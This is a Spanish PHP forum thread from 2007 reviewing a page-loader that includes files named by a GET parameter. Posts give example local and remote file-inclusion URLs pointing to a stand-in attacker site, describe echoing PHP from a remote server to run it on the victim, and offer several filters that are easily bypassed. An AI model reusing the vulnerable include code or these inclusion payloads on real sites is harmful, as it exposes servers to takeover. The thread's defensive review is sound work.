Foros del Web » Programando para Internet » PHP »

¿Es seguro este code?

Estas en el tema de ¿Es seguro este code? en el foro de PHP en Foros del Web. Hola, este code es de una web modular. Lo rebicé mucho... aver si le encuentran alguna vulneravilidad... Código PHP: <? $error = 1 ; if(! ...
  #1 (permalink)  
Antiguo 29/06/2007, 21:56
Avatar de marcolandia  
Fecha de Ingreso: febrero-2007
Ubicación: En mi hermosa nación Arge
Mensajes: 107
Antigüedad: 13 años
Puntos: 2
¿Es seguro este code?

Hola, este code es de una web modular. Lo rebicé mucho... aver si le encuentran alguna vulneravilidad...
Código PHP:
<?
$error
=1;
if(!
$_GET["pagina"]){include("principal.php");
$error=0;}

if(
file_exists($_GET["pagina"].".php")) {include($_GET["pagina"].".php");
$error=0;}
else{
if(
$error!=0){ echo "La página que solicitas no fue encontrada :p";}}

?>
gracias
  #2 (permalink)  
Antiguo 29/06/2007, 22:13
 
Fecha de Ingreso: marzo-2007
Mensajes: 347
Antigüedad: 12 años, 10 meses
Puntos: 2
Re: ¿Es seguro este code?

Hola marcolandia.

Yo lo unico que le añadiria, seria, un addslashes, a la variable que recibes por get, para que no tenga ningun caracter extraño, aunque, no se que podrian meter para hacer daño a esa aplicacion tan sencilla, pero yo, por seguridad, todo lo que recojo externamente, ya sea, get, post, cookie, session, lo paso por addslashes, o htmlspecialchars, tu eliges.

Un saludo
  #3 (permalink)  
Antiguo 29/06/2007, 22:40
Avatar de marcolandia  
Fecha de Ingreso: febrero-2007
Ubicación: En mi hermosa nación Arge
Mensajes: 107
Antigüedad: 13 años
Puntos: 2
Re: ¿Es seguro este code?

Cita:
Iniciado por Francisco01 Ver Mensaje
Hola marcolandia.

Yo lo unico que le añadiria, seria, un addslashes, a la variable que recibes por get, para que no tenga ningun caracter extraño, aunque, no se que podrian meter para hacer daño a esa aplicacion tan sencilla, pero yo, por seguridad, todo lo que recojo externamente, ya sea, get, post, cookie, session, lo paso por addslashes, o htmlspecialchars, tu eliges.

Un saludo
Hola, no lo veo necesario ya que nunca imprimo esas variables.
Pensé que podrían incluir algún archivo que yo no quiero, pero lo acabo de probar y por lo menos yo no pude
  #4 (permalink)  
Antiguo 29/06/2007, 22:58
 
Fecha de Ingreso: marzo-2007
Mensajes: 347
Antigüedad: 12 años, 10 meses
Puntos: 2
Re: ¿Es seguro este code?

Hombre, con ese script, se pueden incluir todos los archivos php que se pongan en la variable, eso debes de tenerlo claro.

Un saludo
  #5 (permalink)  
Antiguo 30/06/2007, 09:07
Avatar de marcolandia  
Fecha de Ingreso: febrero-2007
Ubicación: En mi hermosa nación Arge
Mensajes: 107
Antigüedad: 13 años
Puntos: 2
Re: ¿Es seguro este code?

Cita:
Iniciado por Francisco01 Ver Mensaje
Hombre, con ese script, se pueden incluir todos los archivos php que se pongan en la variable, eso debes de tenerlo claro.

Un saludo
Mientras esté en la raiz no hay problema, porque supuestamente esos archivos no tengo problema de incluir... ¿Se puede incluir uno que no esté en la raiz?
  #6 (permalink)  
Antiguo 30/06/2007, 11:26
Avatar de xknown  
Fecha de Ingreso: diciembre-2004
Ubicación: Cusco - Perú
Mensajes: 2.248
Antigüedad: 15 años, 1 mes
Puntos: 7
Re: ¿Es seguro este code?

Cita:
Iniciado por marcolandia Ver Mensaje
Mientras esté en la raiz no hay problema, porque supuestamente esos archivos no tengo problema de incluir... ¿Se puede incluir uno que no esté en la raiz?
No deberías usar ese tipo de código, porque dependiendo de la configuración de tu servidor fácilmente se puede incluir cualquier archivo:

$_GET["pagina"] = "/tmp/foo.php"
etc.

Saludos
__________________
Alex Concha
Buayacorp - Programación y Diseño
  #7 (permalink)  
Antiguo 30/06/2007, 17:46
Avatar de marcolandia  
Fecha de Ingreso: febrero-2007
Ubicación: En mi hermosa nación Arge
Mensajes: 107
Antigüedad: 13 años
Puntos: 2
Re: ¿Es seguro este code?

Cita:
Iniciado por xknown Ver Mensaje
No deberías usar ese tipo de código, porque dependiendo de la configuración de tu servidor fácilmente se puede incluir cualquier archivo:

$_GET["pagina"] = "/tmp/foo.php"
etc.

Saludos
Código PHP:
<?
$error
=1;
if(!
$_GET["pagina"]){include("principal.php");
$error=0;}

if(
file_exists($_GET["pagina"].".php") and !ereg("^/",($_GET["pagina"])) {include($_GET["pagina"].".php");
$error=0;}
else{
if(
$error!=0){ echo "La página que solicitas no fue encontrada :p";}}

?>
Le agregué !ereg("^/",($_GET["pagina"]), es decir si existe y si no empieza con una barra "/", se incluye :D
  #8 (permalink)  
Antiguo 30/06/2007, 19:47
 
Fecha de Ingreso: marzo-2007
Mensajes: 347
Antigüedad: 12 años, 10 meses
Puntos: 2
Re: ¿Es seguro este code?

Pues, entonces, solo podran incluir, los archivos de esa carpeta, a si que tienes que llevar cuidado con lo que metes en esa carpeta, pero, solo llevar cuidado, creo, que ya no te pueden incluir un archivo que no quieras que sea incluido, a mi me parece bastante seguro, pero no se, que opinen los demas usuarios, para que te digan si ellos ven seguro ese codigo o no.

Un saludo
  #9 (permalink)  
Antiguo 30/06/2007, 22:41
Avatar de xknown  
Fecha de Ingreso: diciembre-2004
Ubicación: Cusco - Perú
Mensajes: 2.248
Antigüedad: 15 años, 1 mes
Puntos: 7
Re: ¿Es seguro este code?

Cita:
Iniciado por marcolandia Ver Mensaje
Código PHP:
<?
$error
=1;
if(!
$_GET["pagina"]){include("principal.php");
$error=0;}

if(
file_exists($_GET["pagina"].".php") and !ereg("^/",($_GET["pagina"])) {include($_GET["pagina"].".php");
$error=0;}
else{
if(
$error!=0){ echo "La página que solicitas no fue encontrada :p";}}

?>
Le agregué !ereg("^/",($_GET["pagina"]), es decir si existe y si no empieza con una barra "/", se incluye :D
Si crees que con la condición que agregaste estás seguro, es tu problema...

Saludos
__________________
Alex Concha
Buayacorp - Programación y Diseño
  #10 (permalink)  
Antiguo 01/07/2007, 10:02
 
Fecha de Ingreso: marzo-2005
Ubicación: Sevilla
Mensajes: 277
Antigüedad: 14 años, 11 meses
Puntos: 2
Re: ¿Es seguro este code?

Ya sé que es un coñazo, pero después de ver las cosas que ahce Chema Alonso (MVP de Seguridad de Microsoft al que tengo el gusto de haber conocido). Yo siempre opto por no dejar ningún cabo suelto. Para el programador a veces es un coñazo, pero es lo mejor.

Yo siempre opto por un
Código PHP:
if (isset($_GET['pagina'])){ 
  switch (
$_GET['página']){
  case 
'principal':
  
$archivo="principal.php";
  break;

  case...
  break;

  default:
  
$archivo="principal.php";
  break;
  }
}
else{
$archivo="principal.php";
}
include (
$archivo); 
  #11 (permalink)  
Antiguo 01/07/2007, 12:44
Avatar de marcolandia  
Fecha de Ingreso: febrero-2007
Ubicación: En mi hermosa nación Arge
Mensajes: 107
Antigüedad: 13 años
Puntos: 2
Re: ¿Es seguro este code?

Cita:
Iniciado por Manu_Leon Ver Mensaje
Ya sé que es un coñazo, pero después de ver las cosas que ahce Chema Alonso (MVP de Seguridad de Microsoft al que tengo el gusto de haber conocido). Yo siempre opto por no dejar ningún cabo suelto. Para el programador a veces es un coñazo, pero es lo mejor.

Yo siempre opto por un
Código PHP:
if (isset($_GET['pagina'])){ 
  switch (
$_GET['página']){
  case 
'principal':
  
$archivo="principal.php";
  break;

  case...
  break;

  default:
  
$archivo="principal.php";
  break;
  }
}
else{
$archivo="principal.php";
}
include (
$archivo); 
Tenés razón, esa es la forma más segura... pero como decís es un "coñazo"
  #12 (permalink)  
Antiguo 01/07/2007, 16:59
Avatar de david_M_G  
Fecha de Ingreso: febrero-2005
Mensajes: 938
Antigüedad: 15 años
Puntos: 20
Re: ¿Es seguro este code?

Cita:
Iniciado por marcolandia Ver Mensaje
Tenés razón, esa es la forma más segura... pero como decís es un "coñazo"
Yo he encontrado otra vulnerabilidad, y es la de poder incluir la misma página que se está cargando

Ejemplo:
index.php?pagina=index

Esto lleva a un bucle infinito de inclusión, que suele acabar en que el navegador muestra un diálogo de descarga de "index.php" al usuario. (Si lo descarga, no verá las líneas de PHP, claro está), aunque también puede acabar en múltiples mensajes de error.
  #13 (permalink)  
Antiguo 01/07/2007, 17:59
 
Fecha de Ingreso: abril-2007
Mensajes: 144
Antigüedad: 12 años, 9 meses
Puntos: 4
Re: ¿Es seguro este code?

con ese codigo se podria colar cualquiera en tu host.
Te recuerdo que se pueden incluir paginas de otros sites, segun la configuracion de tu php, pero por defecto suele estar activada.

Cualquiera podria hacer un script y ejecutarlo en tu servidor:

index.php?pagina=http://www.sitiopirata.com/teacabodejoderelserver

incluso un ftp podria ser valido:
index.php?pagina=ftp://www.sitiopirata.com/TeVoyAborrarTodoElSite

Las destrozas que podria hacer no tienen limite.

Lo del bucle tambien seria buena jugada, pero inutil porque solo molesta alque llama a la pagina. De todas formas se soluciona haciendo un include_once en lugar de include.

Voto por la opcion de manu leon, aunque faltaria hacer el include_once(). Lo mejor es no dar opciones.

Última edición por wrkjmg; 01/07/2007 a las 18:09
  #14 (permalink)  
Antiguo 01/07/2007, 18:22
 
Fecha de Ingreso: marzo-2005
Ubicación: Sevilla
Mensajes: 277
Antigüedad: 14 años, 11 meses
Puntos: 2
Re: ¿Es seguro este code?

Bueno realmente no te podrian h

Lo que comenta wrkjmg, es un RFI (Remote file inclusion).

Es cierto que algunas páginas hacen algo como:
llamada a la página: index.php?pagina=principal.php

y despues el include lo hacen así:
include($_GET['pagina']);

en este caso, si nosotros metemos en el url lo siguiente:

index.php?pagina=http://www.midominio.com/script.php

veremos que se incluye el resultado html de script.php en la página. Que es lo que comenta wrkjmg. Lo gracioso es que sólo incluirá el resultado html, ya que el codigo php se ejecuta en nuestro servidor (www.midominio.com).
Por lo que por ello no hay problema.

El problema es que el usuario también pudiera elegir la extensión, es decir, como ya sabemos, el cliente (usuario), de un .php sólo recibe el resultado html, nunca el código php. Pero si en vez de un .php usamos ese mismo código php en una imagen .jpg o .gif, esta vez el codigo sí saldrá del servidor y se ejecutará en el servidor atacado.

si puedes hacer algo como:
index.php?pagina=http://www.midominio.com/script.jpg

entonces tienen tu site entero en sus manos.

en este caso como se incluye un .php al final:
include ($_GET['pagina'] . ".php") No podrían hacer el RFI, pero aun así podrían jugar con los archivos php de nuestro server.
  #15 (permalink)  
Antiguo 01/07/2007, 19:39
 
Fecha de Ingreso: abril-2007
Mensajes: 144
Antigüedad: 12 años, 9 meses
Puntos: 4
Re: ¿Es seguro este code?

Cita:
Iniciado por Manu_Leon Ver Mensaje
veremos que se incluye el resultado html de script.php en la página. Que es lo que comenta wrkjmg. Lo gracioso es que sólo incluirá el resultado html, ya que el codigo php se ejecuta en nuestro servidor (www.midominio.com).
Por lo que por ello no hay problema.
Manu_leon, sí se ejecuta el codigo script, ejemplo:
si script.php es esto:
Código PHP:
<?php
echo "<?php ...aqui el codigo que se ejecutara en el servidor destino.. ?>";
?>
Como veras, Manu_leon, la salida html de este script, es un script en php. Con lo que se ejecutara en el servidor que hace include("http://www.midominio.com/script.php").

Por lo que si que hay un gran problema.
  #16 (permalink)  
Antiguo 01/07/2007, 19:52
Avatar de marcolandia  
Fecha de Ingreso: febrero-2007
Ubicación: En mi hermosa nación Arge
Mensajes: 107
Antigüedad: 13 años
Puntos: 2
Re: ¿Es seguro este code?

Cita:
Iniciado por david_M_G Ver Mensaje
Yo he encontrado otra vulnerabilidad, y es la de poder incluir la misma página que se está cargando

Ejemplo:
index.php?pagina=index

Esto lleva a un bucle infinito de inclusión, que suele acabar en que el navegador muestra un diálogo de descarga de "index.php" al usuario. (Si lo descarga, no verá las líneas de PHP, claro está), aunque también puede acabar en múltiples mensajes de error.
No lo tenía en cuenta, gracias
Me parece que filtrando algunos caracteres (alguna funcion tipo strip_tags o htmlspecialchars como me decían más arriba) se solucionaría el problema de RFI... no?

Cita:
Manu_leon, sí se ejecuta el codigo script, ejemplo:
si script.php es esto:
Código PHP:
<?php
echo "<?php ...aqui el codigo que se ejecutara en el servidor destino.. ?>";
?>
Como veras, Manu_leon, la salida html de este script, es un script en php. Con lo que se ejecutara en el servidor que hace include("http://www.midominio.com/script.php").
Hay otra forma, si script.php está en un servidor que no interpreta php lo enviaría como si fuera un .html, no?
gracias por todas las sugerencias
  #17 (permalink)  
Antiguo 01/07/2007, 23:27
 
Fecha de Ingreso: octubre-2004
Ubicación: Lima, Perú
Mensajes: 185
Antigüedad: 15 años, 3 meses
Puntos: 1
Re: ¿Es seguro este code?

Yo utilizo algo como esto, aver si le sacas algun provecho
Código PHP:
  if(eregi("://",$_GET['page'])){ 
  include(
" "); 
}else{
    
$pagina=$_GET['page'].".htm"
    if(!
file_exists($pagina) ){ 
    @include(
"news2.php"); 
    }else{ 
    include(
$pagina); 
  } 

__________________
VkManga.Com
De todo un Poco
  #18 (permalink)  
Antiguo 02/07/2007, 04:03
 
Fecha de Ingreso: marzo-2005
Ubicación: Sevilla
Mensajes: 277
Antigüedad: 14 años, 11 meses
Puntos: 2
Re: ¿Es seguro este code?

Ummm, wrkjmg, pues no tenía ni idea de que eso se pudiera hacer. Gracias por el aviso.

Yo sigo siendo partidario de usar un switch, como el que puse arriba, sólo nos tomará 5 minutos más, y así evitaremos tantos problemas como están surgiendo.

Pero bueno,si nos empeñamos en hacerlo así, lo que yo haria seria:

$pagina=stri_replace("http:","",$_GET['pagina']);
$pagina=stri_replace("www.","",$pagina);
$pagina=stri_replace("/","",$pagina);

Así,si alguien intridujo /, www. o http: en la variable, los sutituirá por nada.
ejemplo: index.php?pagina=http://www.misitio.com/algo

daria como resultado misitio.comalgo, cosa que ya no daria problemas, sólo nos diría que la pagina no existe.

Última edición por Manu_Leon; 02/07/2007 a las 04:25
  #19 (permalink)  
Antiguo 02/07/2007, 08:07
 
Fecha de Ingreso: abril-2007
Mensajes: 144
Antigüedad: 12 años, 9 meses
Puntos: 4
Re: ¿Es seguro este code?

Prueba ha poner en $pagina = "wwwwww..misitio.com" y veras lo que te sale con el stri_replace XD ó "httphttp::\\\\wwwwww..misitio.com".

Lo mejor para no dejar puertas abiertas es tener el codigo bajo control, y dejar que dependa lo menos posible del exterior. Por eso el switch es lo mejor.
Atención: Estás leyendo un tema que no tiene actividad desde hace más de 6 MESES, te recomendamos abrir un Nuevo tema en lugar de responder al actual.
Respuesta




La zona horaria es GMT -6. Ahora son las 12:29.